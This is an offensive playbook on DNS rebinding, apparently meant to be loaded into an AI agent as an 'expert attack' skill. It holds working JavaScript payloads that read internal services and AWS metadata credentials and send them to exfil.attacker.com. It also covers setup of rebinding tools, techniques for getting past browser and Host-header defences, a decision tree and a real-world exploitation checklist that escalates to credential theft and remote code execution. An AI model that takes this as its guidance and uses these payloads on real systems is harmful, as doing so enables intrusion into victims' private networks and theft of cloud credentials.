SKILL: DNS Rebinding — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.

0. RELATED ROUTING

• ssrf-server-side-request-forgery — server-side variant; DNS rebinding is the client-side counterpart
• cors-cross-origin-misconfiguration — when CORS misconfig allows direct cross-origin reads instead

1. CORE PRINCIPLE

The browser same-origin policy binds protocol + host + port. The host is resolved via DNS at connection time. If an attacker controls the DNS server for attacker.com, they can:

1. First resolution → attacker IP (serve malicious JS)
2. Second resolution → internal IP (victim's network)
3. Browser considers both responses same-origin (attacker.com)
4. Malicious JS reads responses from internal services

Victim visits attacker.com
        │
        ▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
        │
        ▼
TTL expires (or forced flush)
        │
        ▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
        │
        ▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint

Key insight: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.

2. TTL MANIPULATION

DNS server configuration

The attacker runs an authoritative DNS server for their domain that alternates responses:

TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.

Browser DNS cache reality

Browsers maintain their own DNS cache that ignores low TTLs:

Bypass strategies

1. Multiple A records technique:
   - Return BOTH attacker IP and target IP in single DNS response
   - Browser tries first IP; if connection fails → falls back to second
   - Block attacker IP after initial page load → forces fallback to internal IP
   
2. Subdomain flooding:
   - Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
   - Each subdomain gets fresh DNS resolution (no cache hit)
   
3. Service worker flush:
   - Register service worker that intercepts and delays requests
   - By the time fetch executes, DNS cache has expired

3. ATTACK VARIANTS

3.1 Classic HTTP Rebinding

Target: internal web services (admin panels, REST APIs)

// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
    // Wait for DNS cache to expire
    await sleep(65000); // >60s for Chrome
    
    // This request now resolves to internal IP
    const resp = await fetch('http://attacker.com:8080/api/admin/users');
    const data = await resp.text();
    
    // Exfiltrate to different attacker endpoint
    navigator.sendBeacon('https://exfil.attacker.com/log', data);
}

3.2 WebSocket Rebinding

WebSocket connections persist after DNS rebinding. Establish WS, then rebind:

// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
    ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
    fetch('https://exfil.attacker.com/ws-data', {
        method: 'POST',
        body: e.data
    });
};

3.3 Time-of-Check-to-Time-of-Use (TOCTOU)

Server-side applications that validate DNS at request time but reuse the connection:

1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP

This is a hybrid with SSRF — the rebinding happens in the server's resolver.

3.4 Multiple A Records (Fastest Variant)

DNS response for attacker.com:
  A  1.2.3.4       (attacker — serves JS)
  A  192.168.1.1   (target — internal service)
  
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS

4. HIGH-VALUE TARGETS

Cloud metadata specific

// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
    .then(r => r.text())
    .then(role => {
        return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
    })
    .then(r => r.json())
    .then(creds => {
        navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
    });
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host header

IMDSv2 defense: requires X-aws-ec2-metadata-token header from PUT request. Rebinding cannot easily set custom headers on the initial token request in no-cors mode.

5. TOOLS

Singularity quick start

# Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go

# Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin \
    -ResponseIPAddr 1.2.3.4 \
    -RebindingFn sequential \
    -ResponseReboundIPAddr 192.168.1.1

rbndr.us (zero-setup)

Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
  → alternates between 127.0.0.1 and 192.168.1.1
  
Convert IP to hex:
  192.168.1.1 → c0.a8.01.01 → c0a80101
  127.0.0.1   → 7f.00.00.01 → 7f000001

6. DNS REBINDING vs. SSRF

Critical difference: DNS rebinding leverages the victim's browser as the pivot point, so it accesses services visible from the victim's network, with the victim's cookies/credentials.

7. DEFENSES AND DEFENSE BYPASS

Common defenses

Defense bypass techniques

DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)

Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations

Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffected

8. DECISION TREE

Want to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│   ├── YES → DNS rebinding is viable
│   │   │
│   │   ├── What is the target?
│   │   │   ├── HTTP service → Classic rebinding (Section 3.1)
│   │   │   ├── WebSocket service → WS rebinding (Section 3.2)
│   │   │   └── Cloud metadata → Metadata exfil (Section 4)
│   │   │
│   │   ├── Browser cache concern?
│   │   │   ├── Chrome → Wait 60s or use multiple subdomains
│   │   │   ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│   │   │   └── Use multiple A records technique for instant rebind
│   │   │
│   │   ├── Target checks Host header?
│   │   │   ├── YES → Rebinding alone won't work
│   │   │   │   └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│   │   │   └── NO → Proceed with rebinding
│   │   │
│   │   └── Need credentials?
│   │       ├── Browser auto-sends cookies → works if same-site allows
│   │       └── Custom auth header needed → limited (no-cors won't send custom headers)
│   │
│   └── NO → DNS rebinding not applicable
│       └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
    ├── YES → Hybrid approach (Section 3.3)
    │   └── SSRF with DNS rebinding for IP validation bypass
    └── NO → Review ../ssrf-server-side-request-forgery/ instead

9. REAL-WORLD EXPLOITATION CHECKLIST

□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data